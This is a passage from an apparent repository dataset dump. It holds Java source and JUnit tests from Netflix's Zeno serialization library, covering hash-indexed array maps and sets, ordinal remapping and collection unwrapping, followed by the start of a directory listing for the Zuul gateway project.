if(((Map<?,?>)obj).isEmpty()) {\n if(obj instanceof SortedMap)\n return (T) MinimizedUnmodifiableCollections.EMPTY_SORTED_MAP;\n return (T) Collections.EMPTY_MAP;\n }\n\n if(unmodifiableMapClass.isInstance(obj)) {\n return unwrap(obj, unmodifiableMapClass, unmodifiableMapField);\n }\n }\n\n return (T) obj;\n }\n\n @SuppressWarnings(\"unchecked\")\n private static <T> T unwrap(Object obj, Class<?> clazz, Field field) {\n try {\n do {\n obj = field.get(obj);\n } while(clazz.isInstance(obj));\n return (T) obj;\n } catch (Exception e) {\n throw new RuntimeException(e);\n }\n }\n\n}\n\n", "src\\main\\java\\com\\netflix\\zeno\\util\\collections\\impl\\BinarySearchArrayIndexedHashMap.java": "/*\n *\n * Copyright 2013 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\npackage com.netflix.zeno.util.collections.impl;\n\nimport com.netflix.zeno.util.collections.Comparators;\nimport com.netflix.zeno.util.collections.algorithms.Sortable;\nimport com.netflix.zeno.util.collections.algorithms.ArrayQuickSort;\n\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.Map;\n\n/**\n * Implementation of the BinarySearch Map with the hashCode search index on a\n * side\n *\n * @author tvaliulin\n *\n * @param <K>\n * @param <V>\n */\npublic class BinarySearchArrayIndexedHashMap<K, V> extends AbstractArrayMap<K, V> implements Sortable<Integer> {\n protected int[] hashes = null;\n protected Object[] keysAndValues = null;\n\n public BinarySearchArrayIndexedHashMap() {\n setMap(Collections.<K, V> emptyMap());\n }\n\n public BinarySearchArrayIndexedHashMap(Map<K, V> map) {\n setMap(map);\n }\n\n public BinarySearchArrayIndexedHashMap(Map.Entry<K, V>[] entries) {\n setMap(entries);\n }\n\n public BinarySearchArrayIndexedHashMap(AbstractArrayMap<K, V> map, int start, int end) {\n super(map, start, end);\n }\n\n @Override\n public void builderInit(int size) {\n keysAndValues = new Object[size * 2];\n }\n\n @Override\n public void builderPut(int index, K key, V value) {\n keysAndValues[index * 2] = key;\n keysAndValues[index * 2 + 1] = value;\n }\n\n @Override\n public Map<K, V> builderFinish() {\n hashes = new int[keysAndValues.length / 2];\n for (int i = 0; i < keysAndValues.length / 2; i++) {\n hashes[i] = hashCode(keysAndValues[i * 2]);\n }\n ArrayQuickSort.<Integer> sort(this, Comparators.<Integer> comparableComparator());\n return this;\n }\n\n @Override\n public Integer at(int index) {\n return hashes[index];\n }\n\n @Override\n public void swap(int x, int y) {\n int hashX = hashes[x];\n hashes[x] = hashes[y];\n hashes[y] = hashX;\n\n Utils.Array.swap(keysAndValues, x, y);\n }\n\n @Override\n public int size() {\n return hashes.length;\n }\n\n @SuppressWarnings(\"unchecked\")\n @Override\n protected K key(int index) {\n return (K) keysAndValues[index * 2];\n }\n\n @SuppressWarnings(\"unchecked\")\n @Override\n protected V value(int index) {\n return (V) keysAndValues[index * 2 + 1];\n }\n\n @Override\n public Object getUndefined(Object key) {\n int hash = hashCode(key);\n int index = Arrays.binarySearch(hashes, hash);\n if (index < 0) {\n return AbstractArrayMap.undefined;\n }\n // going upward\n for (int i = index; i >= 0 && hashes[i] == hash; i--) {\n if (Utils.equal(key, key(i))) {\n return value(i);\n }\n }\n // going downward\n for (int i = index + 1; i < size() && hashes[i] == hash; i++) {\n if (Utils.equal(key, key(i))) {\n return value(i);\n }\n }\n return AbstractArrayMap.undefined;\n }\n}\n", "src\\main\\java\\com\\netflix\\zeno\\util\\collections\\impl\\BinarySearchArrayIndexedSet.java": "/*\n *\n * Copyright 2013 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\npackage com.netflix.zeno.util.collections.impl;\n\nimport com.netflix.zeno.util.collections.Comparators;\nimport com.netflix.zeno.util.collections.algorithms.Sortable;\nimport com.netflix.zeno.util.collections.algorithms.ArrayQuickSort;\n\nimport java.util.Arrays;\nimport java.util.Collection;\nimport java.util.Comparator;\nimport java.util.Set;\n\n/**\n * Immutable Binary Search implementation of the Set interface with hashCode\n * index on the side\n *\n * @author tvaliulin\n *\n * @param <E>\n */\npublic class BinarySearchArrayIndexedSet<E> extends AbstractArraySet<E> implements Sortable<Integer> {\n\n protected int[] hashes;\n protected Object[] elements;\n\n public BinarySearchArrayIndexedSet() {\n super();\n }\n\n public BinarySearchArrayIndexedSet(Collection<E> from) {\n super(from);\n }\n\n @Override\n public int size() {\n return elements.length;\n }\n\n public Comparator<Object> comparator() {\n return Comparators.hashCodeComparator();\n }\n\n @Override\n public boolean contains(Object o) {\n int hash = hashCode(o);\n int index = Arrays.binarySearch(hashes, hash);\n if (index < 0) {\n return false;\n }\n // going upward\n for (int i = index; i >= 0 && hashes[i] == hash; i--) {\n if (Utils.equal(o, element(i))) {\n return true;\n }\n }\n // going downward\n for (int i = index + 1; i < size() && hashes[i] == hash; i++) {\n if (Utils.equal(o, element(i))) {\n return true;\n }\n }\n return false;\n }\n\n @SuppressWarnings(\"unchecked\")\n @Override\n protected E element(int index) {\n return (E) elements[index];\n }\n\n @Override\n public void builderInit(int size) {\n elements = new Object[size];\n }\n\n @Override\n public void builderSet(int index, E element) {\n elements[index] = element;\n }\n\n @Override\n public Set<E> builderFinish() {\n hashes = new int[elements.length];\n for (int i = 0; i < elements.length; i++) {\n hashes[i] = hashCode(elements[i]);\n }\n ArrayQuickSort.<Integer> sort(this, Comparators.<Integer> comparableComparator());\n return this;\n }\n\n @Override\n public Integer at(int index) {\n return hashes[index];\n }\n\n @Override\n public void swap(int x, int y) {\n int hashX = hashes[x];\n hashes[x] = hashes[y];\n hashes[y] = hashX;\n\n Object eX = elements[x];\n elements[x] = elements[y];\n elements[y] = eX;\n\n }\n}\n", "src\\test\\java\\com\\netflix\\zeno\\fastblob\\OrdinalRemapperTest.java": "package com.netflix.zeno.fastblob;\n\nimport java.util.ArrayList;\nimport java.util.BitSet;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Random;\nimport java.util.Set;\n\nimport org.junit.Assert;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.netflix.zeno.fastblob.record.ByteDataBuffer;\nimport com.netflix.zeno.fastblob.record.FastBlobDeserializationRecord;\nimport com.netflix.zeno.fastblob.record.FastBlobSerializationRecord;\nimport com.netflix.zeno.fastblob.record.VarInt;\nimport com.netflix.zeno.fastblob.record.schema.FastBlobSchema;\nimport com.netflix.zeno.fastblob.record.schema.FastBlobSchema.FieldType;\nimport com.netflix.zeno.fastblob.record.schema.FieldDefinition;\nimport com.netflix.zeno.fastblob.record.schema.MapFieldDefinition;\nimport com.netflix.zeno.fastblob.record.schema.TypedFieldDefinition;\nimport com.netflix.zeno.fastblob.state.OrdinalRemapper;\nimport com.netflix.zeno.serializer.NFTypeSerializer;\nimport com.netflix.zeno.serializer.SerializerFactory;\nimport com.netflix.zeno.serializer.common.ListSerializer;\nimport com.netflix.zeno.serializer.common.MapSerializer;\nimport com.netflix.zeno.serializer.common.SetSerializer;\nimport com.netflix.zeno.testpojos.TypeA;\nimport com.netflix.zeno.testpojos.TypeASerializer;\nimport com.netflix.zeno.testpojos.TypeD;\nimport com.netflix.zeno.testpojos.TypeDSerializer;\n\n/*\n * This test validates only the ordinal remapping functionality.\n *\n * Essentially, we set up a fake mapping for TypeA POJO instances for the LazyBlobSerializer:\n *\n * 0->4 (TypeA(0, 0) -> TypeA(4, 4))\n * 1->3 (TypeA(1, 1) -> TypeA(3, 3))\n * 2->2 (TypeA(2, 2) -> TypeA(2, 2))\n * 3->1 (TypeA(3, 3) -> TypeA(1, 1))\n * 4->0 (TypeA(4, 4) -> TypeA(0, 0))\n *\n * Then we serialize each of the field types which requires remapping. When we remap the ordinals, then\n * deserialize the transformed data, we expect that the resultant objects will be transformed accordingly, e.g.:\n *\n * List (TypeA(0, 0)) becomes List(TypeA(4, 4))\n * Set (TypeA(3, 3), TypeA(0, 0)) -> Set(TypeA(1, 1), TypeA(4, 4))\n *\n * In actual use, the context for this mapping would be based on reassignment\n * in the lazy blob, instead of the arbitrary values assigned here for testing.\n *\n */\npublic class OrdinalRemapperTest {\n\n private static final MapSerializer<TypeA, TypeA> MAP_SERIALIZER = new MapSerializer<TypeA, TypeA>(new TypeASerializer(), new TypeASerializer());\n private static final SetSerializer<TypeA> SET_SERIALIZER = new SetSerializer<TypeA>(new TypeASerializer());\n private static final ListSerializer<TypeA> LIST_SERIALIZER = new ListSerializer<TypeA>(new TypeASerializer());\n private FastBlobStateEngine stateEngine;\n private OrdinalRemapper ordinalRemapper;\n\n @Before\n public void setUp() {\n stateEngine = new FastBlobStateEngine(new SerializerFactory() {\n @Override\n public NFTypeSerializer<?>[] createSerializers() {\n return new NFTypeSerializer<?> [] {\n new MapSerializer<TypeA, TypeA>(new TypeASerializer(), new TypeASerializer()),\n new SetSerializer<TypeA>(new TypeASerializer()),\n new ListSerializer<TypeA>(new TypeASerializer()),\n new TypeDSerializer()\n };\n }\n });\n\n stateEngine.add(\"TypeA\", new TypeA(0, 0)); // ordinal 0\n stateEngine.add(\"TypeA\", new TypeA(1, 1)); // ordinal 1\n stateEngine.add(\"TypeA\", new TypeA(2, 2)); // ordinal 2\n stateEngine.add(\"TypeA\", new TypeA(3, 3)); // ordinal 3\n stateEngine.add(\"TypeA\", new TypeA(4, 4)); // ordinal 4\n stateEngine.add(\"TypeA\", new TypeA(5, 5)); // ordinal 5\n stateEngine.add(\"TypeA\", new TypeA(6, 6)); // ordinal 6\n\n /// fill deserialization state from serialization state\n stateEngine.getTypeSerializationState(\"TypeA\").fillDeserializationState(stateEngine.getTypeDeserializationState(\"TypeA\"));\n\n\n OrdinalMapping ordinalMapping = new OrdinalMapping();\n\n StateOrdinalMapping stateOrdinalMapping = ordinalMapping.createStateOrdinalMapping(\"TypeA\", 6);\n stateOrdinalMapping.setMappedOrdinal(0, 4);\n stateOrdinalMapping.setMappedOrdinal(1, 3);\n stateOrdinalMapping.setMappedOrdinal(2, 2);\n stateOrdinalMapping.setMappedOrdinal(3, 1);\n stateOrdinalMapping.setMappedOrdinal(4, 0);\n stateOrdinalMapping.setMappedOrdinal(5, 6);\n stateOrdinalMapping.setMappedOrdinal(6, 5);\n\n ordinalRemapper = new OrdinalRemapper(ordinalMapping);\n }\n\n\n @Test\n public void remapsListOrdinals() {\n NFTypeSerializer<List<TypeA>> listSerializer = stateEngine.getSerializer(LIST_SERIALIZER.getName());\n FastBlobSchema listSchema = listSerializer.getFastBlobSchema();\n FastBlobSerializationRecord rec = new FastBlobSerializationRecord(listSchema);\n rec.setImageMembershipsFlags(FastBlobImageUtils.ONE_TRUE);\n\n List<TypeA> list = new ArrayList<TypeA>();\n list.add(new TypeA(3, 3));\n list.add(new TypeA(0, 0));\n list.add(null);\n list.add(new TypeA(2, 2));\n list.add(new TypeA(6, 6));\n list.add(new TypeA(5, 5));\n\n listSerializer.serialize(list, rec);\n\n FastBlobDeserializationRecord deserializationRec = createDeserializationRecord(listSchema, rec);\n\n FastBlobDeserializationRecord remappedRec = remapOrdinals(listSchema, deserializationRec);\n\n List<TypeA> typeAs = listSerializer.deserialize(remappedRec);\n\n Assert.assertEquals(6, typeAs.size());\n Assert.assertEquals(new TypeA(1, 1), typeAs.get(0));\n Assert.assertEquals(new TypeA(4, 4), typeAs.get(1));\n Assert.assertNull(typeAs.get(2));\n Assert.assertEquals(new TypeA(2, 2), typeAs.get(3));\n }\n\n @Test\n public void remapsListFieldOrdinals() {\n FastBlobSchema schema = new FastBlobSchema(\"Test\", 2);\n schema.addField(\"intField\", new FieldDefinition(FieldType.INT));\n schema.addField(\"listField\", new TypedFieldDefinition(FieldType.LIST, \"ElementType\"));\n\n Random rand = new Random();\n\n for(int i=0;i<1000;i++) {\n\n int numElements = rand.nextInt(1000);\n\n ByteDataBuffer buf = new ByteDataBuffer();\n\n OrdinalMapping ordinalMapping = new OrdinalMapping();\n StateOrdinalMapping stateOrdinalMap = ordinalMapping.createStateOrdinalMapping(\"ElementType\", numElements);\n for(int j=0;j<numElements;j++) {\n stateOrdinalMap.setMappedOrdinal(j, rand.nextInt(10000));\n VarInt.writeVInt(buf, j);\n }\n\n ByteDataBuffer toDataBuffer = copyToBufferAndRemapOrdinals(schema, buf, ordinalMapping);\n\n Assert.assertEquals(100, VarInt.readVInt(toDataBuffer.getUnderlyingArray(), 0));\n\n int listDataSize = VarInt.readVInt(toDataBuffer.getUnderlyingArray(), 1);\n\n long position = VarInt.sizeOfVInt(listDataSize) + 1;\n long endPosition = position + listDataSize;\n\n int counter = 0;\n\n while(position < endPosition) {\n int encoded = VarInt.readVInt(toDataBuffer.getUnderlyingArray(), position);\n position += VarInt.sizeOfVInt(encoded);\n Assert.assertEquals(encoded, stateOrdinalMap.getMappedOrdinal(counter));\n counter++;\n }\n }\n }\n\n @Test\n public void remapsMapFieldOrdinals() {\n FastBlobSchema schema = new FastBlobSchema(\"Test\", 2);\n schema.addField(\"intField\", new FieldDefinition(FieldType.INT));\n schema.addField(\"mapField\", new MapFieldDefinition(\"ElementType\", \"ElementType\"));\n\n Random rand = new Random();\n\n for(int i=0;i<1000;i++) {\n\n int numElements = rand.nextInt(1000);\n\n ByteDataBuffer buf = new ByteDataBuffer();\n\n BitSet usedMappings = new BitSet();\n\n Map<Integer, Integer> expectedMap = new HashMap<Integer, Integer>();\n\n OrdinalMapping ordinalMapping = new OrdinalMapping();\n StateOrdinalMapping stateOrdinalMap = ordinalMapping.createStateOrdinalMapping(\"ElementType\", numElements);\n for(int j=0;j<numElements;j++) {\n\n int mapping = getRandomMapping(rand, usedMappings);\n\n stateOrdinalMap.setMappedOrdinal(j, mapping);\n VarInt.writeVInt(buf, j);\n VarInt.writeVInt(buf, j == 0 ? 0 : 1);\n\n expectedMap.put(mapping, mapping);\n }\n\n ByteDataBuffer toDataBuffer = copyToBufferAndRemapOrdinals(schema, buf, ordinalMapping);\n\n Assert.assertEquals(100, VarInt.readVInt(toDataBuffer.getUnderlyingArray(), 0));\n\n Map<Integer, Integer> actualMap = new HashMap<Integer, Integer>();\n\n int listDataSize = VarInt.readVInt(toDataBuffer.getUnderlyingArray(), 1);\n\n long position = VarInt.sizeOfVInt(listDataSize) + 1;\n long endPosition = position + listDataSize;\n\n int prevValue = 0;\n while(position < endPosition) {\n int key = VarInt.readVInt(toDataBuffer.getUnderlyingArray(), position);\n position += VarInt.sizeOfVInt(key);\n int delta = VarInt.readVInt(toDataBuffer.getUnderlyingArray(), position);\n int value = prevValue + delta;\n prevValue = value;\n position += VarInt.sizeOfVInt(delta);\n\n actualMap.put(key, value);\n }\n\n Assert.assertEquals(expectedMap, actualMap);\n }\n }\n\n @Test\n public void remapsSetFieldOrdinals() {\n FastBlobSchema schema = new FastBlobSchema(\"Test\", 2);\n schema.addField(\"intField\", new FieldDefinition(FieldType.INT));\n schema.addField(\"setField\", new TypedFieldDefinition(FieldType.SET, \"ElementType\"));\n\n Random rand = new Random();\n\n for(int i=0;i<1000;i++) {\n\n int numElements = rand.nextInt(1000);\n\n ByteDataBuffer buf = new ByteDataBuffer();\n\n Set<Integer> expectedSet = new HashSet<Integer>();\n BitSet usedMappings = new BitSet();\n\n OrdinalMapping ordinalMapping = new OrdinalMapping();\n StateOrdinalMapping stateOrdinalMap = ordinalMapping.createStateOrdinalMapping(\"ElementType\", numElements);\n for(int j=0;j<numElements;j++) {\n int mapping = getRandomMapping(rand, usedMappings);\n stateOrdinalMap.setMappedOrdinal(j, mapping);\n VarInt.writeVInt(buf, j == 0 ? 0 : 1);\n expectedSet.add(mapping);\n }\n\n ByteDataBuffer toDataBuffer = copyToBufferAndRemapOrdinals(schema, buf, ordinalMapping);\n\n Assert.assertEquals(100, VarInt.readVInt(toDataBuffer.getUnderlyingArray(), 0));\n\n int listDataSize = VarInt.readVInt(toDataBuffer.getUnderlyingArray(), 1);\n\n long position = VarInt.sizeOfVInt(listDataSize) + 1;\n long endPosition = position + listDataSize;\n\n Set<Integer> actualSet = new HashSet<Integer>();\n int prevOrdinal = 0;\n while(position < endPosition) {\n int deltaOrdinal = VarInt.readVInt(toDataBuffer.getUnderlyingArray(), position);\n position += VarInt.sizeOfVInt(deltaOrdinal);\n int currentOrdinal = prevOrdinal + deltaOrdinal;\n prevOrdinal = currentOrdinal;\n actualSet.add(currentOrdinal);\n }\n Assert.assertEquals(expectedSet, actualSet);\n }\n }\n\n\n private ByteDataBuffer copyToBufferAndRemapOrdinals(FastBlobSchema schema,\n ByteDataBuffer buf, OrdinalMapping ordinalMapping) {\n\n ByteDataBuffer fromDataBuffer = new ByteDataBuffer();\n VarInt.writeVInt(fromDataBuffer, 100);\n VarInt.writeVInt(fromDataBuffer, (int)buf.length());\n\n fromDataBuffer.copyFrom(buf);\n\n FastBlobDeserializationRecord rec = new FastBlobDeserializationRecord(schema, fromDataBuffer.getUnderlyingArray());\n rec.position(0);\n\n ByteDataBuffer toDataBuffer = new ByteDataBuffer();\n new OrdinalRemapper(ordinalMapping).remapOrdinals(rec, toDataBuffer);\n return toDataBuffer;\n }\n\n\n private int getRandomMapping(Random rand, BitSet usedMappings) {\n int mapping = rand.nextInt(10000);\n while(usedMappings.get(mapping))\n mapping = rand.nextInt(10000);\n usedMappings.set(mapping);\n return mapping;\n }\n\n @Test\n public void remapsSetOrdinals() {\n NFTypeSerializer<Set<TypeA>> setSerializer = stateEngine.getSerializer(SET_SERIALIZER.getName());\n FastBlobSchema setSchema = setSerializer.getFastBlobSchema();\n FastBlobSerializationRecord rec = new FastBlobSerializationRecord(setSchema);\n rec.setImageMembershipsFlags(FastBlobImageUtils.ONE_TRUE);\n\n Set<TypeA> set = new HashSet<TypeA>();\n set.add(new TypeA(1, 1));\n set.add(new TypeA(4, 4));\n set.add(null);\n\n setSerializer.serialize(set, rec);\n\n FastBlobDeserializationRecord deserializationRec = createDeserializationRecord(setSchema, rec);\n\n FastBlobDeserializationRecord remappedRec = remapOrdinals(setSchema, deserializationRec);\n\n Set<TypeA> typeAs = setSerializer.deserialize(remappedRec);\n\n Assert.assertEquals(3, typeAs.size());\n Assert.assertTrue(typeAs.contains(new TypeA(3, 3)));\n Assert.assertTrue(typeAs.contains(new TypeA(0, 0)));\n Assert.assertTrue(typeAs.contains(null));\n }\n\n @Test\n public void remapsMapOrdinals() {\n NFTypeSerializer<Map<TypeA, TypeA>> mapSerializer = stateEngine.getSerializer(MAP_SERIALIZER.getName());\n FastBlobSchema mapSchema = mapSerializer.getFastBlobSchema();\n FastBlobSerializationRecord rec = new FastBlobSerializationRecord(mapSchema);\n rec.setImageMembershipsFlags(FastBlobImageUtils.ONE_TRUE);\n\n Map<TypeA, TypeA> map = new HashMap<TypeA, TypeA>();\n map.put(new TypeA(1, 1), new TypeA(4, 4));\n map.put(new TypeA(3, 3), new TypeA(1, 1));\n map.put(null, new TypeA(1, 1));\n map.put(new TypeA(4, 4), null);\n\n mapSerializer.serialize(map, rec);\n\n FastBlobDeserializationRecord deserializationRec = createDeserializationRecord(mapSchema, rec);\n\n FastBlobDeserializationRecord remappedRec = remapOrdinals(mapSchema, deserializationRec);\n\n Map<TypeA, TypeA> typeAs = mapSerializer.deserialize(remappedRec);\n\n Assert.assertEquals(4, typeAs.size());\n Assert.assertEquals(new TypeA(0, 0), typeAs.get(new TypeA(3, 3)));\n Assert.assertEquals(new TypeA(3, 3), typeAs.get(new TypeA(1, 1)));\n Assert.assertEquals(new TypeA(3, 3), typeAs.get(null));\n Assert.assertEquals(null, typeAs.get(new TypeA(0, 0)));\n }\n\n @Test\n public void remapsObjectOrdinals() {\n NFTypeSerializer<TypeD> serializer = stateEngine.getSerializer(\"TypeD\");\n FastBlobSchema typeDSchema = serializer.getFastBlobSchema();\n FastBlobSerializationRecord rec = new FastBlobSerializationRecord(typeDSchema);\n rec.setImageMembershipsFlags(FastBlobImageUtils.ONE_TRUE);\n\n TypeD typeD = new TypeD(100, new TypeA(3, 3));\n\n serializer.serialize(typeD, rec);\n\n FastBlobDeserializationRecord deserializationRec = createDeserializationRecord(typeDSchema, rec);\n\n FastBlobDeserializationRecord remappedRec = remapOrdinals(typeDSchema, deserializationRec);\n\n TypeD deserializedTypeD = serializer.deserialize(remappedRec);\n\n Assert.assertEquals(Integer.valueOf(100), deserializedTypeD.getVal());\n Assert.assertEquals(new TypeA(1, 1), deserializedTypeD.getTypeA());\n }\n\n private FastBlobDeserializationRecord createDeserializationRecord(FastBlobSchema schema, FastBlobSerializationRecord rec) {\n ByteDataBuffer originalRecord = new ByteDataBuffer();\n rec.writeDataTo(originalRecord);\n FastBlobDeserializationRecord deserializationRec = new FastBlobDeserializationRecord(schema, originalRecord.getUnderlyingArray());\n deserializationRec.position(0);\n return deserializationRec;\n }\n\n private FastBlobDeserializationRecord remapOrdinals(FastBlobSchema schema, FastBlobDeserializationRecord deserializationRec) {\n ByteDataBuffer remappedRecordSpace = new ByteDataBuffer();\n ordinalRemapper.remapOrdinals(deserializationRec, remappedRecordSpace);\n FastBlobDeserializationRecord remappedRec = new FastBlobDeserializationRecord(schema, remappedRecordSpace.getUnderlyingArray());\n remappedRec.position(0);\n return remappedRec;\n }\n\n}", "src\\test\\java\\com\\netflix\\zeno\\util\\CollectionUnwrapperTest.java": "/*\n *\n * Copyright 2013 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\npackage com.netflix.zeno.util;\n\nimport com.netflix.zeno.util.CollectionUnwrapper;\nimport com.netflix.zeno.util.collections.MinimizedUnmodifiableCollections;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.TreeMap;\n\nimport org.junit.Assert;\nimport org.junit.Test;\n\npublic class CollectionUnwrapperTest {\n\n @Test\n public void unwrapsLists() {\n List<Integer> list = Arrays.asList(1, 2, 3);\n\n List<Integer> wrapped = Collections.unmodifiableList(list);\n\n Assert.assertSame(list, CollectionUnwrapper.unwrap(wrapped));\n }\n\n @Test\n public void unwrapsSets() {\n Set<Integer> set = new HashSet<Integer>();\n set.add(1);\n\n Set<Integer> wrapped = Collections.unmodifiableSet(set);\n\n Assert.assertSame(set, CollectionUnwrapper.unwrap(wrapped));\n }\n\n @Test\n public void unwrapsMaps() {\n Map<Integer, Integer> map = new HashMap<Integer, Integer>();\n map.put(1, 2);\n\n Map<Integer, Integer> wrapped = Collections.unmodifiableMap(map);\n\n Assert.assertSame(map, CollectionUnwrapper.unwrap(wrapped));\n }\n\n @Test\n public void returnsNonCollectionsUnchanged() {\n Object o = new Object();\n\n Assert.assertSame(o, CollectionUnwrapper.unwrap(o));\n }\n\n @Test\n public void unwrapsMultiplyWrappedCollections() {\n List<Integer> list = Arrays.asList(1, 2, 3);\n\n List<Integer> wrapped = Collections.unmodifiableList(list);\n List<Integer> doubleWrapped = Collections.unmodifiableList(wrapped);\n\n Assert.assertSame(list, CollectionUnwrapper.unwrap(doubleWrapped));\n }\n\n @Test\n public void returnsCanonicalVersionsOfEmptyCollections() {\n Assert.assertSame(Collections.EMPTY_LIST, CollectionUnwrapper.unwrap(new ArrayList<Object>()));\n Assert.assertSame(Collections.EMPTY_SET, CollectionUnwrapper.unwrap(new HashSet<Object>()));\n Assert.assertSame(MinimizedUnmodifiableCollections.EMPTY_SORTED_MAP, CollectionUnwrapper.unwrap(new TreeMap<Object, Object>()));\n Assert.assertSame(Collections.EMPTY_MAP, CollectionUnwrapper.unwrap(new HashMap<Object, Object>()));\n }\n\n}\n"} | null |
zuul | {"type": "directory", "name": "zuul", "children": [{"type": "file", "name": ".netflixoss"}, {"type": "file", "name": "build.gradle"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "codequality", "children": [{"type": "file", "name": "checkstyle.xml"}]}, {"type": "file", "name": "dependencies.lock"}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}, {"type": "directory", "name": "zuul-core", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "dependencies.lock"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "jmh", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "message", "children": [{"type": "file", "name": "HeadersBenchmark.java"}]}]}]}]}]}]}, {"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "DynamicIntegerSetProperty.java"}, {"type": "file", "name": "PatternListStringProperty.java"}]}, {"type": "directory", "name": "netty", "children": [{"type": "directory", "name": "common", "children": [{"type": "file", "name": "AbstrHttpConnectionExpiryHandler.java"}, {"type": "directory", "name": "accesslog", "children": [{"type": "file", "name": "AccessLogChannelHandler.java"}, {"type": "file", "name": "AccessLogPublisher.java"}]}, {"type": "file", "name": "ByteBufUtil.java"}, {"type": "file", "name": "CategorizedThreadFactory.java"}, {"type": "directory", "name": "channel", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "ChannelConfig.java"}, {"type": "file", "name": "ChannelConfigKey.java"}, {"type": "file", "name": "ChannelConfigValue.java"}, {"type": "file", "name": "CommonChannelConfigKeys.java"}]}]}, {"type": "file", "name": "CloseOnIdleStateHandler.java"}, {"type": "file", "name": "ConnectionCloseChannelAttributes.java"}, {"type": "file", "name": "ConnectionCloseType.java"}, {"type": "file", "name": "Http1ConnectionCloseHandler.java"}, {"type": "file", "name": "Http1ConnectionExpiryHandler.java"}, {"type": "directory", "name": "http2", "children": [{"type": "file", "name": "DynamicHttp2FrameLogger.java"}]}, {"type": "file", "name": "Http2ConnectionCloseHandler.java"}, {"type": "file", "name": "Http2ConnectionExpiryHandler.java"}, {"type": "file", "name": "HttpChannelFlags.java"}, {"type": "file", "name": "HttpClientLifecycleChannelHandler.java"}, {"type": "file", "name": "HttpLifecycleChannelHandler.java"}, {"type": "file", "name": "HttpRequestReadTimeoutEvent.java"}, {"type": "file", "name": "HttpRequestReadTimeoutHandler.java"}, {"type": "file", "name": "HttpServerLifecycleChannelHandler.java"}, {"type": "file", "name": "LeastConnsEventLoopChooserFactory.java"}, {"type": "directory", "name": "metrics", "children": [{"type": "file", "name": "EventLoopGroupMetrics.java"}, {"type": "file", "name": "EventLoopMetrics.java"}, {"type": "file", "name": "Http2MetricsChannelHandlers.java"}, {"type": "file", "name": "HttpBodySizeRecordingChannelHandler.java"}, {"type": "file", "name": "HttpMetricsChannelHandler.java"}, {"type": "file", "name": "InstrumentedResourceLeakDetector.java"}, {"type": "file", "name": "PerEventLoopMetricsChannelHandler.java"}]}, {"type": "directory", "name": "proxyprotocol", "children": [{"type": "file", "name": "ElbProxyProtocolChannelHandler.java"}, {"type": "file", "name": "HAProxyMessageChannelHandler.java"}, {"type": "file", "name": "StripUntrustedProxyHeadersHandler.java"}]}, {"type": "file", "name": "RequestResponseCompleteEvent.java"}, {"type": "file", "name": "SourceAddressChannelHandler.java"}, {"type": "directory", "name": "ssl", "children": [{"type": "file", "name": "ServerSslConfig.java"}, {"type": "file", "name": "SslHandshakeInfo.java"}]}, {"type": "file", "name": "SslExceptionsHandler.java"}, {"type": "directory", "name": "status", "children": [{"type": "file", "name": "ServerStatusManager.java"}]}, {"type": "file", "name": "SwallowSomeHttp2ExceptionsHandler.java"}, {"type": "directory", "name": "throttle", "children": [{"type": "file", "name": "MaxInboundConnectionsHandler.java"}, {"type": "file", "name": "RejectionType.java"}, {"type": "file", "name": "RejectionUtils.java"}, {"type": "file", "name": "RequestRejectedEvent.java"}]}]}]}, {"type": "directory", "name": "zuul", "children": [{"type": "file", "name": "Attrs.java"}, {"type": "file", "name": "BasicFilterUsageNotifier.java"}, {"type": "file", "name": "BasicRequestCompleteHandler.java"}, {"type": "directory", "name": "constants", "children": [{"type": "file", "name": "ZuulConstants.java"}, {"type": "file", "name": "ZuulHeaders.java"}]}, {"type": "directory", "name": "context", "children": [{"type": "file", "name": "CommonContextKeys.java"}, {"type": "file", "name": "Debug.java"}, {"type": "file", "name": "SessionCleaner.java"}, {"type": "file", "name": "SessionContext.java"}, {"type": "file", "name": 